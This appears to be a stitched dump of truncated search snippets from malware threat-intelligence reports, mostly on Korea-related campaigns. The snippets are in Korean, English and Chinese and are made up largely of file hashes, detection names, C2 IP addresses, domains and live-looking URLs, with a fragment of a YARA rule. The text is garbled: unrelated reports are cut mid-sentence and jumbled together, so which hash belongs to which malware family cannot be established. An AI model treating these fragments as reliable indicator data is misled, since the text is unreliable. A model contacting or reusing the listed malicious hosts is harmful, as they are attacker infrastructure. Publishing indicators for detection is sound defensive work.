2019.12.23.04 2 7b0c06c96caadbf6976aa1c97be1721c Backdoor/Win32.Akdoor 2019.12.23.04 3…","…Size 229500 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 2ff1688fe866ec2871169197f9d46936 SHA1 6dc37ff32ea70cbd0078f1881a351a0a4748d10e SHA256 b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9 SHA512…","…that was held in the summer of 2015. After displaying the HWP document it extracts and executes its first resource named 101 (SHA256:6dd79b5b9778dc0b0abefa26193321444236a1525d03227f150e6e968999fea5) in a temporary folder.…","…MD5 35d60d2723c649c97b414b3cb701df1c SHA-1 9944ce9354fb8961826339770ffc118000058271 SHA-256 6dfce07abc39e5d6aebd74a1850ad65cc6ce10a8540b551c4f6d441ec4cf48ab DOMAIN antichrist.or.kr IP 114.207.244.99…","…code comes from a criminal exploit kit which is being leveraged for delivery in this campaign. A similarly named cambio.swf (MD5 hash: 6dffcfa68433f886b2e88fd984b4995a ) was uploaded to VirusTotal from a US IP address in December 2016. IP WHITELISTS When examining the code on the exploit kit website a…","…9216b29114fb6713ef228370cbfe4045 8e32fccd70cec634d13795bcb1da85ff 889e320cf66520485e1a0475107d7419 6dffcfa68433f886b2e88fd984b4995a Filenames cambio.swf cambio.xap mark180789172360.ico meml102783047891.dat back283671047171.dat URLs…","…ced671856bbaef2f1878a2469fb44e9be8c20055 MD5: ef4ab22e565684424b4142b1294f1f4d Setup.exe SHA256: 6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 SHA1: 3bda9ca504146ad5558939de9fece0700f57c1c0 MD5: 00a43d64f9b5187a1e1f922b99b09b77 Code signing certificate serial…","…ec6842538f6166462d498279b8a462b3 f6800836d55d049fe79e3d47d54e1119 3a9c98fb76aaa4f440c059334b585585 6e1ce18cb9065bf0ea91fc5c2817e941 7c22515a47e94581cc7b62b88a205808 8efee9143c9bc4dc3cd8cf2ef5a87656 29b0a6b9608540b9446c0fb14a36f0b0…","…83b97826c43808c5caa1b69c9c7cbeb0 SHA1 375f71617fa5171a7ed24dacc1fd7f632a55eaab SHA256 6e3d7cdb6a506eba10f719c2ad5e5ef3d9a6bc84fb14789aa7c871200aa52816 5.4: AV detection effectiveness Malware threat detection and effectiveness with malware concerned with Korean peninsula appears…","…108b5fd1b62489fd5cdb4ebd4a463226 42d24ccfb0a05c5f299181ca3afc7ae3 a6c26a0b5df0db6a35b15c24342f27f8 6e5198c3aae9005cc58d011a8c6f0bec 81bfe3b3204ede1fca418e44aa19b310 52a321e48902b8fbd1e984d9bd15f278 310ebb7ca19ff9b75d4054c340b0c82e…","…3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…3114a3d092e269128f72cfd34812ddc8 35441efd293d9c9fb4788a3f0b4f2e6b 358122718ba11b3e8bb56340dbe94f51 68386fa9933b2dc5711dffcee0748115 6e5e5ec38454ecf94e723897a42450ea Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…are important to mitigate damage in the financial sector. MD5 04f1f6e2d8a0cfb58c9dab5546bbd13f 3fc3962721c62a7352fb4230e36a6089 6e7a2aa1a62c90dc31e2b4fda1a7ad00 94c75cdb38a51621b8c8255db24b45a1 b285748d5b50658b50fd974f034872f0 URL…","…Code Signing Certificate Details SHA256 hash: b4f5d37732272f18206242ccd00f6cad9fbfc12fae9173bb69f53fffeba5553f Chain: 6e95d94d5d8ed2275559256c5fb5fc6d01da6b46 Issuer: CN=LAMERA CORPORATION LIMITED NotBefore: 2/10/2022 9:44 PM NotAfter: 12/31/2039 4:59 PM Subject: CN=LAMERA CORPORATION…","…bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 658a8856d48aabc0ecfeb685d836621b a6588c10d9c4c2b3837cd7ce6c43f72e a75196b7629e3af03056c75af37f37cf aa41e4883a9c5c91cdab225a0e82d86a ab…","…Database, Number of Pages: 200 MD5 9e740241ca2acdc79f30ad2c3f50990a SHA1 0c5e4cec03d2eea2b1dd5356fe05de64a0278cd6 SHA256 6ee19085ad5c17f989616d17ef68041910b3d0cbcf7e08cc7d7c1a1cb09e6b69 SHA512…","…IoCs File hash Dropper 19c2decfa7271fa30e48d4750c1d18c1 6eebb5ed0d0b5553e40a7b1ad739589709d077aab4cbea1c64713c48ce9c96f9 7b6d02a459fdaa4caa1a5bf741c4bd42 f8ab78e1db3a3cc3793f7680a90dc1d8ce087226ef59950b7acd6bb1beffd6e3 27ef6917fe32685fdf9b755eb8e97565 2e0f…","…Malware 8: Trojan Dropper Discovered path: C: \\ WINDOWS \\ igfxpers.exe MD5: 6eec1de7708020a25ee38a0822a59e88 Size: 253'952 bytes Time modified: 2016-01-18 06:08:36 (GMT) Ti me accessed: 2016-08-22 12:38:37 (GMT) Time changed: 2016-08-22…","…// ghost.js SHA256:338f34788c92489b4b9078d10a436df035fcae395f3ec2fd95d1e29d28e67efd // ghost.npl SHA256:6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 // package.json SHA256:6ffedf7ec3b9cea4c99ac7ff5b0e2fb8e68f0a6bfce7110ff6ab267bc485fbb3 //…","…wpcsvc.dll 12df9753abd867118ce97e6570c2bde780c7913ecab4b91ef7f540c4fede2772 wpcsvc.ini 6f325fb0a7de6f05490f1eb3c0e5826a44a11ed2dee4c17f486b8200f539d49e wpnprv.dll 35d38eed9168c16d2dd595fa9542a411080d12de971ea3d3c12dd5c44e454049 weapons.doc…","…meta: author = \"Greg Lesnewich\" description = \"track the SpectralBlur backdoor\" date = \"2023-08-21\" version = \"1.0\" hash = \"6f3e849ee0fe7a6453bd0408f0537fa894b17fc55bc9d1729ae035596f5c9220\" DaysofYARA = \"3/100\" strings: $xcrypt1 = { 99 // cdq f7 [4-8] // idiv dword [rbp-0x11c {var_124}] 8b [4-8] // mov eax, dword…","…MD5 41587b0dd5104a4ee6484ff8cf47fd21 SHA1 bd41cb308913c4964aef47edafd36faa1f673717 SHA256 6f45a004ad6bb087f733feb618e115fe88164f6db9562cb9b428372c9add75f0 SHA512…","…d91f34 2f133525f76ab0ebb0b370601673361253074c337f0b0895d0f0cb5bc261cfcb e83a08bcb4353bfd6edcdedbc9ead9ab179a620e15155b60d18153bed9892f38 6f673981892701d42159489c1b2614c098a04e4674b23e1cd0fd8911766e71a0 ad075279d2ee6958105889d852e0d7f4266f746cb0078ac1b362f05a45b5828d 1288e105c83a6f4bbad8471a9b5bedafeea684a8d8b73a1a7518137d446c2e1e IPv4…","…FileName : resource_DLL (Main Malware) MD5 : C315DE8AC15B51163A3BC075063A58AA SHA1 : 6F715EB6815E9A44BF9A48D89C1B92F590F1FA1A SHA256 : 6D870937675B98355747ECFDF4768B274191B4679DEDE4B93828D2EBD7198883 C2 :…","…566835ce413271ddca8d5014c912dda8ba7e5e45573a7da6ba8e20d72541a2ca 73d6694a0339cc4083f66395b6b4b3da324e2113 6f736eac915c2b647bfbba9e5dccf0cb 660bfbeeaf674e4e95c43bb61d7d0aec88154527e1218e51c1cb75d77c8acdda 6251126c3a44d5f8a72f0790ae8aba1b195cb5b2…","…ba5f3bbe77eef8e730fde5f7ab493e4ed3d954b9fa70a234eda6fe3c2fc1d572 95dc085b0fea4a8d80df11ba1409a2df89ca97d980ba3dcf8e90d31e9d3fd533 6f9b79c20330a7c8ade8285866e5602bb86b50a817205ee3c8a466101193386d f5873ecd60390e7b86db5ddaf158ed201b386be26ad80af8a7da3576446520b8 58f2972c6a8fc743543f7b8c4df085c5cf2c6e674e5601e85eec60cd269cfb3c SHA1…","…Hash-MD5 509c41ec97bb81b0567b059aa2f50fe8 Hash-MD5 8db349b97c37d22f5ea1d1841e3c89eb Hash-SHA1 6fbb0aabe992b3bda8a9b1ecd68ea13b668f232e Hash-SHA256 0a73291ab5607aef7db23863cf8e72f55bcb3c273bb47f00edf011515aeb5894 Hash-SHA256…","…05732E84DE58A3CC142535431B3AA04EFBE034CC96E837F93C360A6387D8FAAD Mimikatz 6FBB771CD168B5D076525805D010AE0CD73B39AB1F4E6693148FE18B8F73090B 912018AB3C6B16B39EE84F17745FF0C80A33CEE241013EC35D0281E40C0658D9 CAF6739D50366E18C855E2206A86F64DA90EC1CDF3E309AEB18AC22C6E28DC65…","…32 비트 기반으로 4 월 11 일 제작됐습니다 . 파일 종류 32Bit PE EXE File 크기 898,560 바이트 빌드 타임 2023-04-11 11:47:53 (UTC) MD5 6ffa17d5da06a643a2d4231497e66ee1 SHA256 ce36dac3aac334bcd6265f1293862a1e8b7348dd891365aa17bd 0f97ab830451 [ 표 03] ‘other32.jpg’ 파일 세부 정보 Threat…","…3cc47aea39c48aa22fbf246f11cd4aaa8179efa48bb1c3e30fbf70541fe2cf87 5f23b1ca43f6a18e3c9f21d390f5d1e187b1339b07a1dce70f8338f3be320878 6ffb5106d912e582bde2c095365fa37a441741e4b9ea7f856b2ecad9516b74c2 784d5df037879ed47cf46f8b2ec2c54e3c590805dbc05539ddd8c328215644a7 SHA-1…","…// ghost.npl SHA256:6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 // package.json SHA256:6ffedf7ec3b9cea4c99ac7ff5b0e2fb8e68f0a6bfce7110ff6ab267bc485fbb3 // stager_mac.sh SHA256:db2b3c88d8ab1a55591b21d727812bc855da0e02e85e0bfe77d4335153090ac0 //…","…(GUI) Intel 80386, for MS Windows MD5 61e3571b8d9b2e9ccfadc3dde10fb6e1 SHA1 55daa1fca210ebf66b1a1d2db1aa3373b06da680 SHA256 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 SHA512…","…SHA-256: 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 SHA-256: 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 SHA-256: 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 SHA-256:…","…1.2 파일 정보 Name 북한의 최근 정세와 우리의 안보 .doc Type Microsoft Word 문서 파일 Behavior VBA Macro SHA-256 700db4ae28f53782d239e83db189c7c956b06f61e04cb4a55ff4bc759faa170e Description VBA Macro Embedded Word Document [ 파일 1] 북한에 대한 정세 및 안보 관련 문서로 위장한 북한의 정보 탈취형 악성 문서 파일…","…(IoCs) Assessment URL: https[://]assessdome.com/invite/7e462f3c/8002565804 C2: metakenproxy.com:81 Initial VBS script (SHA256): 7013822c0a794712c5fe8f62c126e5992dca4a744882a039040569ae4ec1a868 Initial Python script (SHA256): 03ad194456951695eb4d4ceb40d9e52aaadbc9a4f4b8b1d020077115103e5359 WebBrowserPassView (SHA256):…","…(2024.03.09.00) – Backdoor/Win.Nikidoor.C5598774 (2024.03.10.00) 행위 진단 – Execution/MDP.Event.M18 MD5 7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0…","…(2024.03.09.00) – Backdoor/Win.Nikidoor.C5598774 (2024.03.10.00) Behavior Detection – Execution/MDP.Event.M18 MD5 7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0…","…MD5 5f6682ad9da4590cba106e2f1a8cbe26 SHA-256 dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6 SHA1 7043c7c101532df47c832ce5270745dd3d1e8c08 Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…Name 704d491c155aad996f16377a35732cb4 Size 126976 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 704d491c155aad996f16377a35732cb4 SHA1…","…(2023.02.07.00) MD5 3cdf9f829ed03e1ac17b72b636d84d0b 55a46a2415d18093abcd59a0bf33d0a9 705ef00224f3f7b02e29f21eb6e10d02 83b4d96fc75f74bb589c28e8a9eddbbf 873b2b0656ee9f6912390b5abc32b276 URL…","…2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 MD5 3229a6cea658b1b3ca5ca9ad7b40d8d4 SHA1 70730e608e2fcc68ce468ed148e965c5bacfb51c SHA256 4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd SHA512…","…672fb4 625c361380bf472c16edec72f5c3a87e9f5be5864d5995bed47997f9d0341180 c045b9da0456430268861da18735f7e8ebb2d1df771ca803a2535bdc8f7a6e89 707e8cb56f32209ca837f2853801256cd3490ed2cc4b3428dc5e4238848f226d SHA1…","…Size 1171 bytes Type data MD5 ae829f55db0198a0a36b227addcdeeff SHA1 04833210fa57ea70a209520f4f2a99d049e537f2 SHA256 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 SHA512…","…10 02685c2ffc30c55667076cfb01033060 484bcb44845946e444f05295cf19e98e 72b3765580c8c8588feccf06f98c090b 5776368e1a8483d11f3ee1c383f193c4 7095811df4cb1ee4135ce605af7f163f 61f4946837d7cd1701eedb3c372121c6 1da701990560b8b0db2c4441145a3ee3 71dbebb8a31ea3de0115851bb15fd2bc 74e3d84492845067a0da6cfa00c064eb 44…","…(GUI) Intel 80386, for MS Windows MD5 3c9e71400b72cc0213c9c3e4ab4df9df SHA1 bdb632b27ddb200693c1b0b80819a7463d4e7a98 SHA256 70b494b0a8fdf054926829dcb3235fc7bd0346b6a19faf2a57891c71043b3b38 SHA512…","…Name JMTTrader.exe Size 2645744 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 70cf78e117359b17f079c128fcead8c8 SHA1 8ec7f4b39f0843e5eae3b8af01578fd8e4432995 SHA256 081d1739422bf050755e6af269a717681274821cea8becb0962d4db61869c5d6 SHA512…","…때, 개인 사용자는 스피어 피싱과 같은 초기 침투 기법에 대한 경각심을 높이고 보안 제품의 최신 업데이트를 유지함으로써 유사 공격에 대해 사전 예방할 필요가 있다. MD5 641593eea5f235e27d7cff27d5b7ca2a 70d92e2b00ec6702e17e266b7742bbab 876dbd9529f00d708a42f470a21a6f79 a5cca2b56124e8e9e0371b6f6293e729 a8976e7dc409525a77b0eef0d0c3c4f2 IP…","…: 04F9579865C6611AFD27FED6ACAF8581C662B52B817FBC9007455E046C73A05E svchost.exe injected malware md5 : 70EC91D17B55980036351C70B2CBE3A0 sha1 : 3F64D8526190607541DB64981E38255ADBAD981C sha256 : 0C457E1800DC1E516D97BEF2C8F05C7D9CBB461B45F9257E958C5D88EA7C5EC8 iexplorer.exe…","…a30abda4665789d1b2e5a70cbef066e6dfacd59a1bfdbb SHA-256 GSRAT bcf9044ac1c90206d8d8b7b98cf084d90abdbd6b3bc10aa9da4cac69465a1f74 SHA-256 GSRAT 7107c110e4694f50a39a91f8497b9f0e88dbe6a3face0d2123a89bcebf241a1d SHA-256 GSRAT 3b4a56b6d86393fa0c058cdd3d26809ef6c956fb6b69fac9d84f9212d5db7ee1 SHA-256 GSRAT e9239ba649aec746e3c0088bc56400460b4a03e5f2df13…","…If you think you may be infected by this malware, you can check for the following behaviors / IOCs: Type ID file 7107c110e4694f50a39a91f8497b9f0e88dbe6a3face0d2123a89bcebf241a1d file bcdd8a213cf6986bad4bb487fe1bf798e159d32fd3a88b4e8d2945403d1c428d file…","…e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c…","…출처가 불분명한 파일은 실행을 자제하고, 파일의 확장자를 반드시 확인하는 등 각별한 주의가 필요하다. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a URL…","…and always check the file extension before opening them. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a URL…","…4f2d7e 5f2ac8672e19310bd532c47d209272bd75075696dea6ffcc47d1d37f18aff141 623458ffccbc4641a78914dcf9efdd78bbbd9103fc36d186c534a6d1aea4333d 71841a1b5ee1b383a9282bf513723b7f1713a0e1ee501db38d64c2db9ba08ec4 74d6b81565aeb95ee9df37ef7738d10baa9866261fb894d9ee9d67fc7c66badc 7603be6e20fdf1338f5de8660b866a7dcb87f1468d139930d9afcba7f3acabb4 828f82…","…implant for mscoree.dll c5a470cdf6f57125a8671f6b8843149cc78ccbc1a7bc615f34b23d9f241312bf SHA-256 Weaponized Sumatra PDFReader.exe 71beb4252e93291c7b14dfcb4cbb5d58144a76181fbe4aab3592121a3dbd9c55 SHA-256 Weaponized muPDF/Subliminal Recording installer olidhealth.com/wp-includes/php-compat/compat.php Compromised domain…","…Center 32 파일명 입금 확인서 (10 월 ).doc 경로 d: \\ HighSchool \\ version 13 \\ 2ndBD \\ T+M \\ T+M \\ Result \\ DocPrint.pdb MD5 71c5990bd1c04488b3f99cbebbcbfc19 [ 표 22] ‘ 입금 확인서 (10 월 ).doc ’ 를 통해 설치되는 악성파일 정보 파일명 전단지 자료 , 부품 구매처 , 풍향 정보 .doc 경로…","…(Indicator of Compromise) MD5 9e94126e8a26efd10b2a5b179d64be90 35b4f28dd2d50dbf48e5c63c3ef5efb7 66e8096b9b061550314a82654ce0fabd 71d5270d1a165bb6dec144e16089450d 456d05566fc3391e195a5f9cb346c92c 25156a29ad636eb708104ec69b05e54b ca93591a9441a2ade70821f67292d982 C2 112.175.185.59 104.21.13.241…","…MD5 SHA1 SHA256 Malicious ICO File 71d5b9bfd6bf37ff5aa9752b2b6d5af1 64ab912d0af35c01355430d85dd4181f25e88838 4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f MD5 SHA1 SHA256 Malicious ICO…","…0b 5776368e1a8483d11f3ee1c383f193c4 7095811df4cb1ee4135ce605af7f163f 61f4946837d7cd1701eedb3c372121c6 1da701990560b8b0db2c4441145a3ee3 71dbebb8a31ea3de0115851bb15fd2bc 74e3d84492845067a0da6cfa00c064eb 445e7fd6bb684420d6b8523fe0c55228 fe5520783f715549cc3c4df9deaf89bf 44ba46dfff78bc62a3b2619d308ca40c c1…","…IOCs File name MD5 SHA-1 SHA-256 AccountStore.bak 665ce00318552c6ddc22e2f5e59cd516 71e5bb0e7f00bb11518e8d7f619f2b6c9fa09eaf 7e454b22987d8901ab7fc2983d335da6ed4ac048298e3bcb7e3a123352bfc1da AccountStore.bak 107953faf48823913b19ab7cf311a2c8…","…행위 진단 Execution/MDP.Wscript.M3817 MD5 25f057bff7de9d3bc2fb325697c56334 269ded557281d38b5966d6227c757e92 71fe5695bd45b72a8bb864636d92944b 7211fed2e2ec624c87782926200d61fd URL http://m.sharing.p-e.kr/index.php?query=me http://tools.macbook.kro.kr/update.php…","…Size 116736 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 117fa0b8b8b965680c7b630c6e2bf01d SHA1 7202fea74865e085104f839574cd150613fbcf99 SHA256 e6fc788b5ff7436da4450191a003966a68e2a1913c83f1d3aec78c65f3ba85ca SHA512…","…MD5 25f057bff7de9d3bc2fb325697c56334 269ded557281d38b5966d6227c757e92 71fe5695bd45b72a8bb864636d92944b 7211fed2e2ec624c87782926200d61fd URL http://m.sharing.p-e.kr/index.php?query=me http://tools.macbook.kro.kr/update.php Tags: AppleSeed APT PebbleDash…","…Indicator of Compromise MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5…","…침해 지표 (Indicator of Compromise) MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5…","…Trojan/PowerShell.Agent.SC186246 (2023.02.09.00) [행위 진단] Execution/MDP.Cmd.M4230 MD5 0f41d386e30e9f5ae5be4a707823fd78 726af41024d06df195784ae88f2849e4 89c0e93813d3549efe7274a0b9597f6f 9f560c90b7ba6f02233094ed03d9272e URL…","…PowerShell scripts 6bf8a19deb443bde013678f3ff83ab9db4ddc47838cd9d00935888e00b30cee6 72a25d959d12e3efe9604aee4b1e7e4db1ef590848d207007419838ddbad5e3f 15eee641978ac318dabc397d9c39fb4cb8e1a854883d8c2401f6f04845a79b4b 3e39fc595db9db1706828b0791161440dc1571eaa07b523df9b721ad65e2369b…","…部分IOC MD5 487769a19f032e981f33023b2cb7fe10 02685c2ffc30c55667076cfb01033060 484bcb44845946e444f05295cf19e98e 72b3765580c8c8588feccf06f98c090b 5776368e1a8483d11f3ee1c383f193c4 7095811df4cb1ee4135ce605af7f163f 61f4946837d7cd1701eedb3c372121c6 1da701990560b8b0db2c4441145a3ee3 71…","…SHA1 72b6f743a93275adaa50968394543890d07021be b319317c7028d7bbb2f1d289945e4c21b4e34d2b e917166ed0096688994709acb94233ba3f3be39b e9528f09f1e58ffc308893087f4a8b77aa1d544d…","…// vscode-bootstrap.ps1 SHA256:9cb437ca697a7550163c4a66e8b766952d3ddf94f714bafac91132ad37e5ddfa // vscode-bootstrap.sh MD5:72c3eea054187471a5d00b8d7c721b42 // deobf_ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 // ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 //…","…(from decoded powershell script) 211.115.92.200 VB script : Microsoft.vbs hashes: MD5 72e5b8ea33aeb083631d1e8b302e76af SHA1: 8879de48468dd650152cb3aa150349db69ec33c4 SHA256: c69f4052c34efc8b0b51892c53488c0a04ed68e748a1c5297500c1ad3e0ad94d DNS…","…내용을 제외합니다. No Name Size MD5 Malware C2 1 bzupdater.zip 509,117 72fc2de8e9339969b9be2bb4363e2741 version.dll Quasar RAT 206.206.123.55 2 bzupdater.zip 3,816,112 fc7315b6b74aa43ab24965f3648f01a6…","…to connect to the domain. f6e1a146543d2903146698da5698b2a214201720c0be756c6e8d2a2f27dcfaff Tags trojan Details Name 72FE869AA394EF0A62BB8324857770DD Size 157696 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 72fe869aa394ef0a62bb8324857770dd SHA1…","…Size 67448 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 89081f2e14e9266de8c042629b764926 SHA1 730c1b9e950932736fc4b02cbdb4e4e891485ac2 SHA256 39cbad3b2aac6298537a85f0463453d54ab2660c913f4f35ba98fffeb0b15655 SHA512…","…that this file is intended to perform a similar function, but on a Windows environment. MD5: 89081f2e14e9266de8c042629b764926 SHA1: 730c1b9e950932736fc4b02cbdb4e4e891485ac2 SHA256: 39cbad3b2aac6298537a85f0463453d54ab2660c913f4f35ba98fffeb0b15655 Curiously, this file contains a compilation stamp of 2018-06-13…","…[행위 진단] Execution/MDP.Powershell.M4646 Execution/MDP.Powershell.M11164(MDS) Execution/EDR.Powershell.M11156(EDR) MD5 73174c9d586531153a5793d050a394a8 8133c5f663f89b01b30a052749b5a988 91029801f6f3a415392ccfee8226be67 ec1b518541228072eb75463ce15c7bce f05991652398406655a6a5eebe3e5f3a…","…(2023.03.21.03) Trojan/PowerShell.Obfuscated (2023.03.14.00) Trojan/PowerShell.KeyLogger (2023.05.09.00) MD5 73174c9d586531153a5793d050a394a8 8133c5f663f89b01b30a052749b5a988 91029801f6f3a415392ccfee8226be67 ec1b518541228072eb75463ce15c7bce f05991652398406655a6a5eebe3e5f3a…","…SHA1 73417ded382af2e0f3fca04d8d07679af134038b 49f1d203436240933ee20d7b16324c09bcbf4ceb 198ee2c64c7584acb2403c0ce4c152b3e57c4453 Remediation Block all threat indicators at your…","…nD9327.tmp 20 MD5 15dc6a28b875b4706bcc0db4a026aeb0 (PebbleDash) 21 MD5 7349683077ce4fcac77580848182ead9 (PebbleDash) 22 MD5 31345cc286bfb2b3edcee6c960f11c3f (PebbleDash) 23 MD5…","…-1696723326 Shared normalized headers SHA-1: 7b0e49eb35765d1455b506b9b5e7820d18167760 Shared body mmh3: 2125685474 Shared body SHA-1: 7350cb4703a96ea7c140bd30da9a6d1bcff36eb2 The table lists each endpoint, its certificate account label, serial number and Not Before timestamp in UTC.…","…of Compromise Related to RokRAT MD5: e11bb2478930d0b5f6c473464f2a2b6e bd2d599ab51f9068d8c8eccadaca103d SHA-256: 736092b71a9686fde43d3c4abd941a6774721b90b17d946c9d05af19c84df0a4 95a19bb2cc53c2ff2edff89161acb9c50ea450fa8a53bbddde2ca3007b1a1345 SHA-1:…","…(GUI) Intel 80386, for MS Windows MD5 c51416635e529183ca5337fade82758a SHA1 830368d88b661d09c084e484713effb8d230d328 SHA256 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 SHA512…","…SHA-256: 618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6 SHA-256: 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 159.100.250.231 BUFFETLINE SHA-256: 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 107.6.12.135 210.202.40.35 MITRE…","…system: 2020-12-25 Suspicious 3proxy tool 2021-04-15 DTrack malware 2021-04-15 Maui ransomware DTrack malware MD5 739812e2ae1327a94e441719b885bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67 Link…","…7e454b22987d8901ab7fc2983d335da6ed4ac048298e3bcb7e3a123352bfc1da AccountStore.bak 107953faf48823913b19ab7cf311a2c8 73a2aed35aa5fc8621828e11c76d58144ea7f6bb ceec993673d95fd0af326f1ef7268ebf375361118efe2ae561c0e59b36387c1b AccountStore.bak bc1e06ba5f472aaf30d8027dc8562307…","…서명된 인증서는 다른 파일 서명에 사용되지 않고 악성코드 2개 파일 서명에만 사용되어 실제 Nexaweb 사의 인증서인지 문의했지만 아직 답변을 못 받았다. MD5 27d4ff7439694041ef86233c2b804e1f 73d2899aade924476e58addf26254c2e aa8936431f7bc0fabb0b9efb6ea153f9 Tags: certificate CertificateLeak desktop.ini HTTPSpy 인증서 인증서유출 인증서서명악성코드 JobDescription…","…Certificate Two files were discovered, and their MD5 hash values are as follows: Job Description (LM HR Division II).pdf.scr : 73d2899aade924476e58addf26254c2e Known as Automation Manager JD(LM HR II).scr: aa8936431f7bc0fabb0b9efb6ea153f9 These files were signed with the Nexaweb certificate…","…fe93382464347be4361c7e8fb131a668 566835ce413271ddca8d5014c912dda8ba7e5e45573a7da6ba8e20d72541a2ca 73d6694a0339cc4083f66395b6b4b3da324e2113 6f736eac915c2b647bfbba9e5dccf0cb 660bfbeeaf674e4e95c43bb61d7d0aec88154527e1218e51c1cb75d77c8acdda…","…7c73619ff8d5e4ed3b29b7ae71a69602df4071fd8c1029f9674e9978cdc03de9 6b90e2a3f0ad8819b5afe67bf13451c9782af26a9f2bdac3a0e042569054e5fd 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03…","…(GUI) Intel 80386, for MS Windows MD5 3edce4d49a2f31b8ba9bad0b8ef54963 SHA1 1209582451283c46f29a5185f451aa3c989723c9 SHA256 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 SHA512…","…SHA-256: 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 SHA-256: 73dcb7639c1f81d3f7c4931d32787bdf07bd98550888c4b29b1058b2d5a7ca33 SHA-256: 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a SHA-256:…","…s.vbs 622358469e5e24114dd0eb03da815576 xM568.tmp 0c3fd7f45688d5ddb9f0107877ce2fbd 07578.tmp 73ed9b012785dc3b3ee33aa52700cfe4 C2 - 64.49.14.181 ports 8014,7032 Virustotal Bazaar Triage Thank You for reading this till the end ❤ Discord…","…0fe69e67286203ca2dcd080b4c25ab76fc4ca925e6207b193d47f02da1481843 6904be55212c4464ae09dda50fad1b398c4693198bb6a91837421fad873300bb 73f684b87139927012db12ec8d92824bd2404102e17ec427b302c79a4314d439 8b2871e08f6a88df33ac198a2db87bc44de19100da44e7c071112da07549f204 8eec3ac9f7d1ac64fc7397ba57cdac4f56959d1512f71dded60e831a26e0762e 9dc813…","…5af95590a33b9bc64d95808f1fc71b78 5c5672bb14e1d2f07a8318ffec19b213 6add815cd61d6514f81a23ab8c23405a 